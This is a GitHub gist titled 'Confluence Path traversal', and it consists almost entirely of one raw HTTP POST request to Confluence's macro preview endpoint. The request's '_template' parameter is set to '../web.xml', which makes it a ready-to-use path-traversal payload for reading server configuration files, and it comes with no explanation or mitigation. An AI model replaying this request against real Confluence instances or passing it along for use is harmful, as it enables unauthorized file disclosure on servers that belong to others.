Skip to content

Instantly share code, notes, and snippets.

@yassineaboukir

yassineaboukir/Confluence Path traversal

Created April 10, 2019 15:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save yassineaboukir/5e1eb927a6a079a3720b6a234f9d4e22 to your computer and use it in GitHub Desktop.
Save yassineaboukir/5e1eb927a6a079a3720b6a234f9d4e22 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
Confluence Path traversal
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: xxx.com
Connection: close
Accept-Encoding: gzip, deflate
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
X-Atlassian-Token: no-check
Content-Type: application/json; charset=utf-8
Referer: https://xxxx.com/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Length: 168
{"contentId":"786457","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"},"body":""}}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment